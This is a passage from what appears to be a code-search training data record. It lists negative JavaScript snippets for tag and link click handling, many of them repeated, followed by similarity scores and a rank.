e.detail.itemPromise._value.data.name;\\n var tag1 = document.getElementById(\\\"b1\\\").innerText;\\n var tag2 = document.getElementById(\\\"b2\\\").innerText;\\n //getMixes(1, \\\"\\\", tag1 + \\\"%2B\\\" + tag2, \\\"\\\", 8, 4);\\n getMixes(1, \\\"\\\", tag1 + \\\"%2B\\\" + tag2, \\\"\\\", 40, 3);\\n var testlist = new Array(24);\\n thirdgridview.winControl.itemDataSource = testlist.dataSource;\\n window.location.hash = '#secondgridview';\\n document.getElementById(\\\"b1\\\").innerText = \\\"_________\\\";\\n document.getElementById(\\\"b2\\\").innerText = \\\"_________\\\";\\n searchTags(\\\"\\\");\\n }\\n }\",\n \"function linkOnClick(e) {\\r\\n\\tvar obj = targetElement(e);\\r\\n\\tif (isNS6) {\\r\\n\\t\\tobj = obj.parentNode;\\r\\n\\t}\\r\\n\\tvar id = obj.id;\\r\\n\\tvar idarray = new Array();\\r\\n\\tidarray = id.split(\\\"_\\\");\\r\\n\\tcallFunction(idarray);\\r\\n}\",\n \"function suggestedTagClicked( tagId, tagName ) {\\r\\n // If the input field is disabled, return without doing anything\\r\\n if ( jQuery('#tagsInput').prop('disabled') )\\r\\n return;\\r\\n\\r\\n // Determine if the element has already been selected\\r\\n var previouslySelected = false;\\r\\n if ( jQuery('#related-tag-id-'+tagName).data('isSelected') === true )\\r\\n previouslySelected = true;\\r\\n\\r\\n // Adds the clicked recipient to the selection list if not already selected\\r\\n if ( ! previouslySelected ) {\\r\\n jQuery('#tagsInput').tagsinput('add', tagName);\\r\\n }\\r\\n // Otherwise, removes the selected recipient\\r\\n else {\\r\\n jQuery('#tagsInput').tagsinput('remove', tagName);\\r\\n }\\r\\n}\",\n \"function addTag(tag) {\\n var node = document.createElement(\\\"li\\\");\\n $(node).append('' + tag + 'x');\\n\\n // When clicked, remove the node and save the tags list.\\n $(node).find('a').click(function() {\\n $(node).remove();\\n saveTags();\\n })\\n\\n // Add to the list.\\n $list.append(node);\\n }\",\n \"function addTagLabel(name) {\\n let tagList = document.getElementById(\\\"tag-line\\\");\\n let newTag = document.createElement(\\\"span\\\");\\n let newText = document.createElement(\\\"span\\\");\\n let newRemove = document.createElement(\\\"a\\\");\\n let newIcon = document.createElement(\\\"i\\\");\\n let input = document.getElementById(\\\"tag-add\\\");\\n\\n input.value = \\\"\\\";\\n\\n newTag.className = \\\"tag-label tag\\\";\\n newTag.id = name;\\n\\n let aElement = document.createElement('a');\\n aElement.innerText = name;\\n newText.appendChild(aElement);\\n\\n newIcon.className = \\\"remove glyphicon glyphicon-remove-sign glyphicon-white\\\";\\n\\n newRemove.onclick = function() {\\n tagList.removeChild(newTag);\\n toAddTagList.delete(name.toLowerCase());\\n removeTagFromItem(name);\\n };\\n newText.onclick = function() {\\n window.location.href = '/tags/display/' + encodeURIComponent(name.toLowerCase());\\n };\\n newRemove.appendChild(newIcon);\\n newTag.appendChild(newText);\\n newTag.appendChild(newRemove);\\n\\n if(!toAddTagList.has(name)) {\\n toAddTagList.add(name);\\n tagList.appendChild(newTag);\\n }\\n}\",\n \"function activateLink(e){\\n // remove/add .active\\n let activeLink = document.getElementsByClassName('active')[0] ? \\n document.getElementsByClassName('active')[0] : \\n null;\\n\\n if(activeLink){\\n activeLink.removeAttribute('class');\\n }\\n e.target.setAttribute('class', 'active');\\n\\n // get the paragraph\\n let content = new Content();\\n content.getParagraphByIndex(e.target.id);\\n\\n // change the url in the address bar\\n window.history.pushState(\\\"\\\", \\\"\\\", e.target.id);\\n}\",\n \"static get tag() {\\n return \\\"rich-text-editor-link\\\";\\n }\",\n \"function handle_vote(o,e)\\n{\\n\\te.preventDefault();\\t\\t// prevent the link to continue\\n\\tdo_vote(o);\\n}\",\n \"function tagLinks(tags) {\\n\\tvar t = tags.split(\\\",\\\");\\n\\tvar i;\\n\\tvar links = \\\"\\\";\\n\\tfor(i=0;i\\\"+t[i].trim()+\\\"\\\";\\n\\t}\\n\\treturn links;\\n}\",\n \"function tagItem2(){\\r\\n var tagEdit = document.getElementsByTagName(\\\"tags-edit\\\");\\r\\n var tagEditTags = tagEdit.getElementsByTagName(\\\"tags-edit-tags\\\");\\r\\n \\r\\n tagEditTags.innerHTML += txtTag.innerText;\\r\\n /*\\r\\n * $(\\\".tags-edit .tags-edit-tags\\\").val( $(\\\".tags-edit\\r\\n * .tags-edit-tags\\\").val() + $(\\\"#txtTag\\\").val()); //\\r\\n * document.getElementById('tags-container-template');\\r\\n *\\r\\n * var popup = $(\\\".tags-edit .tags-edit-buttons\\\")\\r\\n * .find(\\\".goog-button-body\\\"); //\\r\\n * document.getElementById('tags-container-template');\\r\\n */\\r\\n var tagEditButton = tagEdit.getElementsByTagName(\\\"tags-edit-buttons\\\")[0];\\r\\n var popup = tagEditButton.getElementsByTagName(\\\"goog-button-body\\\")[0];\\r\\n \\r\\n simulateClick(popup);\\r\\n }\",\n \"function handleContactLinkClicked(event) {\\n ReactGA.event({ category: 'Contact Us Link', action: 'Clicked', label: event.target.href });\\n }\",\n \"function postTagInHtml(successData, neededValues) {\\n //Add new tag span layout to page\\n $('.contents a[href$=\\\\'' + neededValues.currentPageURL + '\\\\']').parent().after('' + neededValues.newTags + ' ');\\n //Remove input field\\n $('.tagInputOverview').remove();\\n\\n // Find new tag\\n const newDeleteTagButton = $('a[href$=\\\\'' + neededValues.currentPageURL + '\\\\']').parent().parent().find('.deleteTagButton').first();\\n // Assign hover listener to new tag\\n deleteClickAndHoverEvent(newDeleteTagButton);\\n}\",\n \"tagSearch(event) {\\n //Search for tags matching\\n }\",\n \"navigateHyperlink() {\\n let fieldBegin = this.getHyperlinkField();\\n if (fieldBegin) {\\n this.fireRequestNavigate(fieldBegin);\\n }\\n }\",\n \"function modifyAnchorTags(caller) {\\n var tagParts, currentStateLink, isSamePage, pathHashCount;\\n if (caller === \\\"modalPopupCtrl.pageContent\\\" || ctrl.currentLink === undefined) {\\n currentStateLink = [];\\n }\\n else {\\n currentStateLink = ctrl.currentLink.split('/');\\n }\\n $(ctrl.anchorTags).each(function (index) {\\n if (ctrl.anchorTags[index].hasAttribute('href')) {\\n var isExternalLink = ctrl.anchorTags[index].getAttribute('href').indexOf('http');\\n if (isExternalLink === -1) {\\n if (ctrl.anchorTags[index].getAttribute('href').indexOf('Page?$filter=contains(Title') !== -1) {\\n $(ctrl.anchorTags[index]).attr('class', 'removed-link');\\n var splittedArray = ctrl.anchorTags[index].getAttribute('href').split(\\\"'\\\");\\n var pageTitle = null;\\n if (splittedArray[1]) {\\n pageTitle = splittedArray[1];\\n }\\n var docId = null;\\n if (splittedArray[3]) {\\n docId = splittedArray[3];\\n }\\n DocumentService.getAllPages(\\\"$filter=contains(tolower(Title),tolower('\\\" + pageTitle + \\\"')) and DocumentCode eq '\\\" + docId + \\\"'\\\")\\n .then(function (result) {\\n if (result.value.length > 0) {\\n var popupData = '';\\n var currentReleasePage = $.grep(result.value, function (e) { return e.ReleaseId === $rootScope.release; });\\n if (currentReleasePage.length === 0) {\\n if (result.value.length > 1) {\\n popupData = createPopupData(result.value, index, caller);\\n angular.element(ctrl.anchorTags[index]).attr('id', 'linktag' + index);\\n angular.element(ctrl.anchorTags[index]).attr('data-toggle', 'dropdown');\\n angular.element(ctrl.anchorTags[index]).attr('aria-haspopup', 'true');\\n angular.element(ctrl.anchorTags[index]).attr('aria-expanded', 'false');\\n $(ctrl.anchorTags[index]).wrap('
    ');\\n var linkText = angular.element(ctrl.anchorTags[index]).html();\\n angular.element(ctrl.anchorTags[index]).html(linkText + \\\" \\\");\\n angular.element(popupData).insertAfter(ctrl.anchorTags[index]);\\n } else {\\n currentReleasePage = result.value[0];\\n }\\n } else {\\n currentReleasePage = currentReleasePage[0];\\n }\\n if (caller === \\\"modalPopupCtrl.pageContent\\\") {\\n if (popupData === '') {\\n $(ctrl.anchorTags[index]).on(\\\"click\\\", function () {\\n $rootScope.reloadPopUpOnLnkClk(currentReleasePage.Id);\\n }\\n );\\n var buttonNewTab = window.document.createElement('a');\\n angular.element(buttonNewTab).attr('href', '' + ctrl.docCenterUrl + '#/docHome/document/' + currentReleasePage.DocumentId +\\n '/page/' + currentReleasePage.Id + '');\\n angular.element(buttonNewTab).attr('target', '_blank');\\n var spanNewTab = window.document.createElement('span');\\n angular.element(buttonNewTab).append(' ');\\n angular.element(buttonNewTab).append(spanNewTab);\\n angular.element(buttonNewTab).insertAfter(ctrl.anchorTags[index]);\\n }\\n }\\n else {\\n $(ctrl.anchorTags[index]).on(\\\"click\\\", function () {\\n if (popupData === '') {\\n ctrl.changeState(currentReleasePage.DocumentId, currentReleasePage.Id, null);\\n }\\n });\\n }\\n $(ctrl.anchorTags[index]).removeAttr(\\\"class\\\");\\n $(ctrl.anchorTags[index]).attr('style', 'cursor: pointer;');\\n }\\n });\\n $(ctrl.anchorTags[index]).removeAttr('href');\\n return;\\n }\\n tagParts = ctrl.anchorTags[index].getAttribute('href').split('/');\\n isSamePage = ctrl.anchorTags[index].getAttribute('issamepage');\\n pathHashCount = ctrl.anchorTags[index].getAttribute('isPathHavingHash');\\n if (tagParts.length > 0) {\\n ctrl.items = tagParts[tagParts.length - 1].split('#');\\n // Check if the link is in the same page.\\n if (currentStateLink[currentStateLink.length - 1] === ctrl.items[0] || isSamePage === \\\"true\\\") {\\n if (ctrl.items.length > 1) {\\n (function (anchorId) {\\n $(ctrl.anchorTags[index]).on(\\\"click\\\", function () {\\n ctrl.goToHeading(anchorId);\\n });\\n }(ctrl.items[1]));\\n }\\n $(ctrl.anchorTags[index]).removeAttr('issamepage');\\n\\n } else {\\n var documentId, pageId, achId;\\n documentId = tagParts[2];\\n pageId = ctrl.items[0];\\n achId = ctrl.items[1];\\n if (pathHashCount && parseInt(pathHashCount, 10) > 0) {\\n if (ctrl.items.length > parseInt(pathHashCount, 10) + 1) {\\n achId = ctrl.items[ctrl.items.length - 1];\\n var pageIdArray = ctrl.items.slice(0, ctrl.items.length - 1);\\n pageId = pageIdArray.join('#');\\n } else {\\n pageId = ctrl.items.join('#');\\n achId = null;\\n }\\n $(ctrl.anchorTags[index]).removeAttr('isPathHavingHash');\\n }\\n $(ctrl.anchorTags[index]).on(\\\"click\\\", function () {\\n ctrl.changeState(documentId, pageId, achId);\\n });\\n }\\n $(ctrl.anchorTags[index]).attr('style', 'cursor: pointer;');\\n $(ctrl.anchorTags[index]).removeAttr(\\\"class\\\");\\n $(ctrl.anchorTags[index]).removeAttr('href');\\n }\\n } else {\\n $(ctrl.anchorTags[index]).attr('target', '_blank');\\n }\\n }\\n });\\n }\",\n \"function activateTag(tag) {\\n //clear all tags in list of tag-active class\\n var items = document.getElementsByClassName('tag-item');\\n for(var i=0; i < items.length; i++) {\\n items[i].classList.remove(\\\"tag-active\\\");\\n }\\n\\n // set the selected tag's item to active\\n var item = document.getElementById(tag + '-item');\\n if(item) {\\n item.classList.add(\\\"tag-active\\\");\\n }\\n}\",\n \"static get tag() {\\n return \\\"rich-text-editor-link\\\";\\n }\",\n \"function bindingArticleClick() {\\n $('#rovat .content a').bind('click', function (event, ui) {\\n document.getElementById(\\\"article-content\\\").src = this.dataset.url;\\n });\\n}\",\n \"function makeItClickable(){\\n\\n }\",\n \"function onTagsButtonTouched(e){\\n\\t// Only if the tag count is above 0\\n\\tif (media.tags.length) {\\n\\t\\t// Load the tags view\\n\\t\\tvar view = Alloy.createController(\\\"media/hashtags\\\", {\\n\\t\\t\\t\\\"tags\\\": media.tags\\n\\t\\t}).getView();\\n\\t\\n\\t\\taddViewToSections(view);\\n\\t} else {\\n\\t\\tanimation.shake($.hashtagsButton);\\n\\t}\\n}\",\n \"function handleLinkClick(srcElement,cid){\\t\\t\\n\\t\\tvar href = srcElement.href; \\n\\t\\tvar temp = cid.split(\\\"|\\\")\\n\\t\\tvar windowId = temp[0]\\n\\t\\tvar id = temp[1]\\n\\n\\t\\tchrome.runtime.getBackgroundPage(function(eventPage) {\\n\\t\\t\\teventPage.switchTab(windowId,id);\\n\\t\\t});\\n}\",\n \"function isOpenTag(params) {\\r\\n \\r\\n}\",\n \"function handleFeatureLinkClick(evt)\\n{\\n console.log('a.feature.link was clicked');\\n //set the image src to the anchor's href value\\n featureImage.src = featureLink.href;\\n\\n //make the image visible\\n featureImage.classList.remove('hidden');\\n\\n //dont want to load the image in the page\\n evt.preventDefault();\\n}\",\n \"function TagMenu_initializeUI(newLinkStr) {\\r\\n var tagNames = new Array()\\r\\n var tagValues = new Array();\\r\\n \\r\\n var dom = dw.getDocumentDOM();\\r\\n\\r\\n // get the current selection\\r\\n var selNode, offsets;\\r\\n selNode = this.getSelectedTag();\\r\\n if (selNode) { //if selection is inside a tag, select the entire tag\\r\\n offsets = dw.nodeToOffsets(selNode);\\r\\n dw.setSelection(offsets[0],offsets[1]);\\r\\n }\\r\\n \\r\\n if (this.tagList.length == 1 && this.tagList[0] == \\\"A\\\") {\\r\\n\\r\\n // if no tag selection, ensure the selection is linkable\\r\\n if (!selNode) {\\r\\n selStr = dwscripts.trim(dwscripts.fixUpSelection(dom,false,true));\\r\\n if (selStr && !stringCanBeLink(selStr)) {\\r\\n offsets = dom.getSelection();\\r\\n dw.setSelection(offsets[1],offsets[1]); //move the insertion point after the selection\\r\\n selStr = \\\"\\\";\\r\\n }\\r\\n }\\r\\n\\r\\n // add a new link or a selection as the first item in the list\\r\\n if (selNode || !selStr) { //if sel is link, or no valid selection\\r\\n\\r\\n newLinkStr = (newLinkStr != null) ? newLinkStr : \\\"New Link\\\";\\r\\n\\r\\n //add generic new link item to menu\\r\\n tagNames.push(dwscripts.sprintf(MM.LABEL_CreateNewLink,newLinkStr));\\r\\n\\t\\t \\r\\n newLinkStr = dwscripts.entityNameDecode(newLinkStr);\\r\\n\\t tagValues.push(\\\"createAtSelection+\\\"+newLinkStr);\\r\\n\\r\\n } else { //else selection could be converted to link, so add it\\r\\n var displayString = dwscripts.trim(selStr);\\r\\n displayString = displayString.replace(/\\\\s+/,\\\" \\\"); //replace all newlines and whitespace with a single space\\r\\n displayString = dwscripts.entityNameDecode(displayString);\\r\\n tagNames.push(MM.LABEL_SelectionLink+' \\\"' + displayString + '\\\"');\\r\\n tagValues.push(\\\"createAtSelection+\\\"+selStr);\\r\\n\\r\\n }\\r\\n }\\r\\n\\r\\n // add all other tags to menu\\r\\n var nodes = this.getTagElements();\\r\\n for (var i=0; i < nodes.length; i++) {\\r\\n\\r\\n tagNames.push(this.getNiceName(nodes[i], i));\\r\\n tagValues.push(nodes[i]);\\r\\n\\r\\n }\\r\\n \\r\\n // set the list control\\r\\n this.listControl = new ListControl(this.paramName); \\r\\n this.listControl.setAll(tagNames, tagValues);\\r\\n\\r\\n // if link currently selected, pick it in the list\\r\\n if (selNode) {\\r\\n this.pickValue(selNode);\\r\\n }\\r\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click);\\n //.on(\\\"mouseover\\\", mouseover)\\n //.on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function update_utag_link(dsc) {\\n if (dsc != '') {\\n var omni_arr = dsc.split('|');\\n // User Action Tracking for Global Navigation Menu.\\n if (omni_arr[0] != '' && omni_arr[0] == 'global-nav' && omni_arr[1] != '') {\\n omni_click_id = dsc;\\n utag.link({\\n \\\"event_name\\\": omni_arr[0],\\n \\\"click_id\\\": omni_click_id\\n });\\n } else if (omni_arr[0] != '' && omni_arr[0] == 'social_share' && omni_arr[1] != '') {\\n // User Action Tracking for Social Share.\\n var omni_event_name = omni_arr[0];\\n var omni_social_network = omni_arr[1];\\n var omni_click_id = 'sharebar|' + omni_arr[1];\\n utag.link({\\n \\\"event_name\\\": omni_event_name,\\n \\\"social_network\\\": omni_social_network,\\n \\\"click_id\\\": omni_click_id\\n });\\n }\\n }\\n}\",\n \"function Permalink_evc_click(event) {\\r\\n //cancel_event(event);\\r\\n //var id = this.parentNode.parentNode.parentNode.parentNode.parentNode.id;\\r\\n \\r\\n}\",\n \"function addTagSearchTagListeners() {\\n function redirectToTagPage(tag, datalist) {\\n for (let dataTag of datalist.options) {\\n if (dataTag.value.toUpperCase() === tag.toUpperCase()) {\\n window.location.href = \\\"/tags/display/\\\" + encodeURIComponent(tag.toLowerCase());\\n }\\n }\\n }\\n\\n try {\\n const searchBar = document.getElementById(\\\"tag-search\\\");\\n const datalist = document.getElementById(\\\"tag-results\\\");\\n searchBar.addEventListener('input', (e) => {\\n if (e.constructor.name !== 'InputEvent') {\\n // then this is a selection, not user input\\n redirectToTagPage(searchBar.value, datalist)\\n }\\n while (datalist.firstChild) {\\n datalist.removeChild(datalist.firstChild);\\n }\\n const query = searchBar.value;\\n if (query) {\\n searchTags(query);\\n }\\n });\\n searchBar.addEventListener('keyup', e => {\\n if (e.key === 'Enter') {\\n redirectToTagPage(searchBar.value, datalist);\\n }\\n })\\n } catch (err) {\\n //do nothing. Just to avoid errors if the correct page is not loaded\\n }\\n}\",\n \"function getClickTag() {\\n return window.clickTag || 'http://www.google.com';\\n }\",\n \"function construct_tag(tag_name){\\n render_tag = '
  • ' + tag_name + '
  • '\\n return render_tag\\n}\",\n \"handleAddTag(cardId, text = '') {}\",\n \"function handleClick(e) {\\n if (e.target.nodeName === \\\"A\\\") {\\n e.preventDefault();\\n console.log(\\\"markdown link click\\\")\\n if (e.target.href) {\\n const url = new URL(e.target.href);\\n //if it is an internal link, push to history so page doesnt refresh\\n if (url.hostname.indexOf(\\\".hotter.com\\\") > -1 || url.hostname === \\\"localhost\\\" || url.hostname.indexOf(\\\"hotter-amplience-poc.herokuapp.com\\\") > -1) {\\n history.push(e.target.pathname);\\n } else {\\n //otherwise open new tab\\n window.open(url.href, \\\"_blank\\\")\\n }\\n }\\n }\\n}\",\n \"handleLinkEvent(event, link) {\\n if (this.renderer && this.renderer.handleLinkEvent) {\\n this.renderer.handleLinkEvent(this.editorContext, event, link);\\n }\\n }\",\n \"function linkedInButton() {\\n var s = s_gi(s_account);\\n s.eVar2 = 'LinkedIn';\\n s.events = 'event12';\\n s.trackExternalLinks = false;\\n s.linkTrackVars = 'eVar2,events';\\n s.linkTrackEvents = 'event12';\\n s.tl(this, 'o', s.eVar2);\\n}\",\n \"function onLinkClicked(element) {\\n const section = document.querySelector('#'+element.dataset.section);\\n checkSectionsInView();\\n scrollTO(section);\\n}\",\n \"_onClickUrl(urlLink) {\\n //Alert.alert(\\\"clicked\\\");\\n Linking.openURL(\\\"http://\\\"+urlLink);\\n \\n }\",\n \"function onLinkRated() {\\r\\n\\tvar taskIdx = selectedTaskIdx();\\r\\n\\tvar search = getSearch(taskIdx, gCurrentSearch.query);\\r\\n\\tif (search) {\\r\\n\\t\\tvar link = getLink(search, gCurrentSearch.url);\\r\\n\\t\\tif (link) {\\r\\n\\t\\t\\tvar rating = this.id == \\\"helpful_button\\\" ? HELPFUL_RATING : UNHELPFUL_RATING;\\r\\n\\t\\t\\taddLinkRated(taskIdx, search.query, link.url, link.title, rating, true);\\r\\n\\t\\t\\tupdateSearchHistory();\\r\\n\\t\\t\\tswitchToSearch();\\r\\n\\t\\t}\\r\\n\\t}\\r\\n}\",\n \"function linkClick(link) {\\n\\t\\tsubjectRead(subjects);\\n\\t\\t$(links[link]).css(\\\"z-index\\\",\\\"1\\\");\\n\\t\\t$(links[link]).css(\\\"opacity\\\",\\\"1\\\");\\n\\t\\t$(link).css(\\\"background-color\\\",\\\"#8C6954\\\");\\n\\t\\t$(link).css(\\\"color\\\",\\\"white\\\");\\n\\t\\t$.each(links, function (key,value)\\n\\t\\t{\\n\\t\\t\\tif (key!=link)\\n\\t\\t\\t{\\n\\t\\t\\t\\t$(links[key]).css(\\\"z-index\\\",\\\"0\\\");\\n\\t\\t\\t\\t$(links[key]).css(\\\"opacity\\\",\\\"0\\\");\\n\\t\\t\\t\\t$(key).css('background-color','#59323C');\\n\\t\\t\\t\\t$(key).css(\\\"color\\\",\\\"#F2EEB3\\\");\\n\\t\\t\\t}\\n\\t\\t});\\n\\t}\",\n \"registerClick() {\\n \\n if(this.state.block_Highlight) { \\n this.setState({\\n block_Highlight:false, \\n })\\n saveVisitedAdaptation(\\\"Block_User\\\",\\\"NewsFeed_highlight\\\");\\n }\\n\\n registerEvent('Clicked on '+this.props.name+\\\"'\\\\s profile link to visit their profile page\\\", 'from post '+this.props.index,(this.props.forTimeline?\\\"Timeline\\\":\\\"NewsFeed\\\")); \\n }\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.75356567","0.74746776","0.7072557","0.7063431","0.6959302","0.67220116","0.6701569","0.6610266","0.6605996","0.65622306","0.6502058","0.6462321","0.6444712","0.64422756","0.6355239","0.63428026","0.62632555","0.6211025","0.62032723","0.61599153","0.6150977","0.6125956","0.6093832","0.6077782","0.60681975","0.606469","0.6020979","0.60185176","0.59722984","0.596988","0.5949489","0.5942249","0.5934649","0.59099776","0.58780795","0.5877005","0.58345926","0.5815383","0.5796809","0.5796582","0.5796462","0.57943773","0.57918924","0.5791136","0.5761964","0.5757175","0.5730483","0.5718558","0.5712792","0.5704693","0.5701881","0.5701301","0.56997347","0.56997293","0.5697319","0.5693732","0.5689129","0.5675776","0.56471145","0.56367","0.5627162","0.5623586","0.56171","0.5615436","0.56139773","0.5612796","0.5612269","0.560649","0.5600769","0.56007576","0.55995023","0.55978173","0.5597218","0.55958307","0.5592317","0.55764854","0.5562823","0.5562765","0.555154","0.555154","0.555154","0.555154","0.555154","0.555154","0.555154","0.555154","0.555154","0.555154","0.555154","0.555154","0.555154","0.555154","0.555154","0.555154","0.555154","0.555154","0.555154","0.555154","0.555154","0.555154"],"string":"[\n \"0.75356567\",\n \"0.74746776\",\n \"0.7072557\",\n \"0.7063431\",\n \"0.6959302\",\n \"0.67220116\",\n \"0.6701569\",\n \"0.6610266\",\n \"0.6605996\",\n \"0.65622306\",\n \"0.6502058\",\n \"0.6462321\",\n \"0.6444712\",\n \"0.64422756\",\n \"0.6355239\",\n \"0.63428026\",\n \"0.62632555\",\n \"0.6211025\",\n \"0.62032723\",\n \"0.61599153\",\n \"0.6150977\",\n \"0.6125956\",\n \"0.6093832\",\n \"0.6077782\",\n \"0.60681975\",\n \"0.606469\",\n \"0.6020979\",\n \"0.60185176\",\n \"0.59722984\",\n \"0.596988\",\n \"0.5949489\",\n \"0.5942249\",\n \"0.5934649\",\n \"0.59099776\",\n \"0.58780795\",\n \"0.5877005\",\n \"0.58345926\",\n \"0.5815383\",\n \"0.5796809\",\n \"0.5796582\",\n \"0.5796462\",\n \"0.57943773\",\n \"0.57918924\",\n \"0.5791136\",\n \"0.5761964\",\n \"0.5757175\",\n \"0.5730483\",\n \"0.5718558\",\n \"0.5712792\",\n \"0.5704693\",\n \"0.5701881\",\n \"0.5701301\",\n \"0.56997347\",\n \"0.56997293\",\n \"0.5697319\",\n \"0.5693732\",\n \"0.5689129\",\n \"0.5675776\",\n \"0.56471145\",\n \"0.56367\",\n \"0.5627162\",\n \"0.5623586\",\n \"0.56171\",\n \"0.5615436\",\n \"0.56139773\",\n \"0.5612796\",\n \"0.5612269\",\n \"0.560649\",\n \"0.5600769\",\n \"0.56007576\",\n \"0.55995023\",\n \"0.55978173\",\n \"0.5597218\",\n \"0.55958307\",\n \"0.5592317\",\n \"0.55764854\",\n \"0.5562823\",\n \"0.5562765\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\",\n \"0.555154\"\n]"},"document_score":{"kind":"string","value":"0.58167"},"document_rank":{"kind":"string","value":"37"}}},{"rowIdx":8,"cells":{"query":{"kind":"string","value":"gets called when the user clicks on the right triangle button next to each alert this loads the observable information for the alerts and allows the user to select one for filtering"},"document":{"kind":"string","value":"function load_alert_observables(alert_uuid) {\n // have we already loaded this?\n var existing_dom_element = $(\"#alert_observables_\" + alert_uuid);\n if (existing_dom_element.length != 0) {\n existing_dom_element.remove();\n return;\n }\n\n $.ajax({\n dataType: \"html\",\n url: 'observables',\n data: { alert_uuid: alert_uuid },\n success: function(data, textStatus, jqXHR) {\n $('#alert_row_' + alert_uuid).after('' + data);\n },\n error: function(jqXHR, textStatus, errorThrown) {\n alert(\"DOH: \" + textStatus);\n }\n });\n \n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function afterAlertsLoad() {\n if (sessionStorage.getItem(\"search_all_selected_obj\") !== null) {\n var obj,\n index;\n obj = JSON.parse(sessionStorage.getItem(\"search_all_selected_obj\"));\n index = TableUtil.getTableIndexById('#tblAlerts', obj.Id);\n $(\"#tblAlerts\").bootstrapTable(\"check\", index);\n showEditDialog();\n sessionStorage.removeItem(\"search_all_selected_obj\");\n }\n }","function alertLoad() {\n\t//alert('reloading alert page');\n\tfireAlerts.on('value', function(snap) {\n\t\t$('#inputEmail').val(snap.val().email);\n\t\t$('#checkEnergyOver').prop('checked',snap.val().dayKwhrFlg);\n\t\t$('#inputKwhrLimit').val(snap.val().dayKwhrLmt);\n\t\t$('#checkStandbyLow').prop('checked',snap.val().dayStbyFlg);\n\t\t$('#inputStbyLimit').val(snap.val().dayStbyLmt);\n\t\t$('#checkFault').prop('checked',snap.val().errFlg);\n\t\t$('#checkModeChanged').prop('checked',snap.val().modeChgFlg);\n\t\t$('#checkSPChanged').prop('checked',snap.val().SPChgFlg);\n\t\t$('#checkElementUse').prop('checked',snap.val().htrElmntFlg);\n\t});\n}","handleSearchKeyword() {\n \n if (this.searchValue !== '') {\n getAlertList({\n searchKey: this.searchValue\n })\n .then(result => {\n // set @track alert variable with return alert list from server \n //this.alertList = result;\n if(result) {\n\n let currentData = [];\n \n result.forEach((row) => {\n \n /* \n * Creating the an empty 